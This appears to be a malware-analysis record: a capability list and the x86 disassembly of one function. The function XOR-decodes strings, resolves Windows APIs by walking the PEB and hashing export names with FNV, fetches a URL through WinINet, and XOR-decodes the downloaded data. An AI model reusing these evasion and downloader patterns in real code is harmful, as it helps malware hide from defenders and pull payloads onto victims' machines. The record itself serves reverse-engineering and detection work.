Function at 0x401430
Capabilities:
Access peb ldr_data
Create http request
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x160
mov eax, dword [0x4a4314]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [0x49e7f8]
movq xmm0, qword [str..7__G_]
push ebx
mov dword [ebp - 0x13c], eax
mov ax, word [0x49e7fc]
mov dword [ebp - 0x150], edx
movq qword [ebp - 0x144], xmm0
mov word [ebp - 0x138], ax
push esi
mov esi, ecx
push edi
test ah, ah
je 0x4015c2
xor ebx, ebx
cmp dword [0x4a5684], 2
jl 0x401597
movaps xmm2, xmmword [0x49f2f0]
mov eax, 4
movaps xmm3, xmmword [0x49f330]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov ebx, 8
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
movd xmm4, eax
mov eax, 0x1f
psrad xmm1, xmm4
movaps xmm0, xmm1
movd xmm5, eax
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x49f310]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x49f300]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
movd xmm0, dword [str..7__G_]
packuswb xmm1, xmm1
paddb xmm1, xmmword [0x49f340]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x144], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movaps xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x49f310]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x49f320]
movd xmm0, dword [ebp - 0x140]
packuswb xmm1, xmm1
paddb xmm1, xmmword [0x49f340]
pxor xmm1, xmm0
movd dword [ebp - 0x140], xmm1
mov eax, 0x288df0cb
mov cl, bl
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + ebx - 0x144], cl
inc ebx
cmp ebx, 0xe
jl 0x401597
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x144]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
mov dword [ebp - 0x15c], ebx
test ebx, ebx
je 0x4016b6
call fcn.004093f0
push 0
push 0x800000
push 0
push 0
push esi
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x154], eax
test eax, eax
jne 0x4016c9
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x150], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x154], ecx
cmp ecx, esi
je 0x401689
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x401689
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0xba85318
mov cl, byte [edx]
inc edx
test cl, cl
je 0x401682
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x401665
cmp esi, 0xb1c05e95
je 0x40168d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x401650
mov eax, dword [eax]
jmp 0x401620
mov esi, dword [ebp - 0x154]
mov edx, dword [ebp - 0x150]
push dword [ebp - 0x15c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0046a386
mov esp, ebp
pop ebp
ret
mov eax, dword [0x49e4e8]
mov dword [ebp - 0x12c], eax
mov ax, word [0x49e4ec]
mov word [ebp - 0x128], ax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x148], ecx
cmp ecx, esi
je 0x401759
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x401759
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x8b51a52
mov cl, byte [edx]
inc edx
test cl, cl
je 0x401752
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x401735
cmp esi, 0xe3919237
je 0x40175d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x401720
mov eax, dword [eax]
jmp 0x4016f0
mov esi, dword [ebp - 0x148]
mov edx, dword [ebp - 0x14c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor ebx, ebx
mov eax, 0x446f8657
mov cl, bl
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + ebx - 0x12c], cl
inc ebx
cmp ebx, 6
jl 0x401780
lea eax, [ebp - 0x12c]
push eax
push dword [ebp - 0x150]
call esi
add esp, 8
test eax, eax
jne 0x4017d3
lea eax, [ebp - 0x114]
push eax
call fcn.00401390
jmp 0x4018de
mov eax, dword [0x49e750]
mov dword [ebp - 0x11c], eax
mov al, byte [0x49e754]
mov byte [ebp - 0x118], al
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x148], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14c], ecx
cmp ecx, esi
je 0x401869
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x401869
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0xf2429b92
mov cl, byte [edx]
inc edx
test cl, cl
je 0x401862
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x401845
cmp esi, 0xdac50677
je 0x40186d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x401830
mov eax, dword [eax]
jmp 0x401800
mov esi, dword [ebp - 0x14c]
mov edx, dword [ebp - 0x148]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor ebx, ebx
mov eax, 0x446f8657
mov cl, bl
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + ebx - 0x11c], cl
inc ebx
cmp ebx, 5
jl 0x401890
lea eax, [ebp - 0x11c]
push eax
push dword [ebp - 0x150]
call esi
add esp, 8
test eax, eax
jne 0x4018de
lea eax, [ebp - 0x114]
push eax
call fcn.004013e0
mov eax, dword fs:[0x30]
mov dword [ebp - 0x158], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x148], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14c], ecx
cmp ecx, esi
je 0x401959
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x401959
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x833d6fa7
mov cl, byte [edx]
inc edx
test cl, cl
je 0x401952
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x401935
cmp esi, 0xfd56587c
je 0x40195d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x401920
mov eax, dword [eax]
jmp 0x4018f4
mov esi, dword [ebp - 0x14c]
mov edx, dword [ebp - 0x148]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x158]
push ecx
push 0xff
lea ecx, [ebp - 0x114]
add eax, edx
push ecx
push dword [ebp - 0x154]
call eax
mov eax, dword [ebp - 0x158]
cmp eax, 0x104
jae 0x401dcd
mov byte [ebp + eax - 0x114], 0
mov eax, dword [0x49e4e8]
mov dword [ebp - 0x134], eax
mov ax, word [0x49e4ec]
mov word [ebp - 0x130], ax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x148], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14c], ecx
cmp ecx, esi
je 0x401a49
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x401a49
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0xb541d7e8
mov cl, byte [edx]
inc edx
test cl, cl
je 0x401a42
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x401a25
cmp esi, 0x44a58639
je 0x401a4d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x401a10
mov eax, dword [eax]
jmp 0x4019e0
mov esi, dword [ebp - 0x14c]
mov edx, dword [ebp - 0x148]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor ebx, ebx
mov eax, 0x446f8657
mov cl, bl
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + ebx - 0x134], cl
inc ebx
cmp ebx, 6
jl 0x401a70
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 0x150]
call esi
add esp, 8
test eax, eax
jne 0x401b18
lea ecx, [ebp - 0x114]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401ac0
sub ecx, edx
mov dword [0x4a5fe4], ecx
cmp ecx, 0x104
jge 0x401c72
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x114]
push eax
push 0x4a5ee0
call fcn.0046bc80
xor ecx, ecx
add esp, 0xc
cmp dword [0x4a5fe4], ecx
jle 0x401c72
lea eax, [ecx - 2]
xor byte [ecx + 0x4a5ee0], al
inc ecx
cmp ecx, dword [0x4a5fe4]
jl 0x401b01
jmp 0x401c72
mov eax, dword [0x49e750]
mov dword [ebp - 0x124], eax
mov al, byte [0x49e754]
mov byte [ebp - 0x120], al
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x148], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14c], ecx
cmp ecx, esi
je 0x401ba9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x401ba9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x2637fc6f
mov cl, byte [edx]
inc edx
test cl, cl
je 0x401ba2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x401b85
cmp esi, 0xf217fb22
je 0x401bad
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x401b70
mov eax, dword [eax]
jmp 0x401b40
mov esi, dword [ebp - 0x14c]
mov edx, dword [ebp - 0x148]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
add esi, edx
xor ebx, ebx
mov eax, 0x446f8657
mov cl, bl
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + ebx - 0x124], cl
inc ebx
cmp ebx, 5
jl 0x401bd0
lea eax, [ebp - 0x124]
push eax
push dword [ebp - 0x150]
call esi
add esp, 8
test eax, eax
jne 0x401c72
lea ecx, [ebp - 0x114]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401c20
sub ecx, edx
mov dword [0x4a60ec], ecx
cmp ecx, 0x104
jge 0x401c72
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x114]
push eax
push 0x4a5fe8
call fcn.0046bc80
xor ecx, ecx
add esp, 0xc
cmp dword [0x4a60ec], ecx
jle 0x401c72
nop dword [eax]
lea eax, [ecx - 0x5e]
xor byte [ecx + 0x4a5fe8], al
inc ecx
cmp ecx, dword [0x4a60ec]
jl 0x401c60
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x148], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x14c], ecx
cmp ecx, esi
je 0x401ce9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x401ce9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0xa9578b53
mov cl, byte [edx]
inc edx
test cl, cl
je 0x401ce2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x401cc5
cmp esi, 0xf403244
je 0x401ced
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x401cb0
mov eax, dword [eax]
jmp 0x401c80
mov esi, dword [ebp - 0x14c]
mov edx, dword [ebp - 0x148]
push dword [ebp - 0x154]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x148], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x14c], ecx
cmp ecx, edx
je 0x401d89
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x401d89
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, edx
nop dword [eax]
mov ecx, dword [ebx - 4]
lea ebx, [ebx - 4]
add ecx, edx
dec edi
mov esi, 0x161641c6
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x401d82
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x401d65
cmp esi, 0xa46c367b
je 0x401d8d
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x401d50
mov eax, dword [eax]
jmp 0x401d22
mov esi, dword [ebp - 0x14c]
mov edx, dword [ebp - 0x148]
push dword [ebp - 0x15c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x158]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0046a386
mov esp, ebp
pop ebp
ret
call fcn.0046a4b6
int3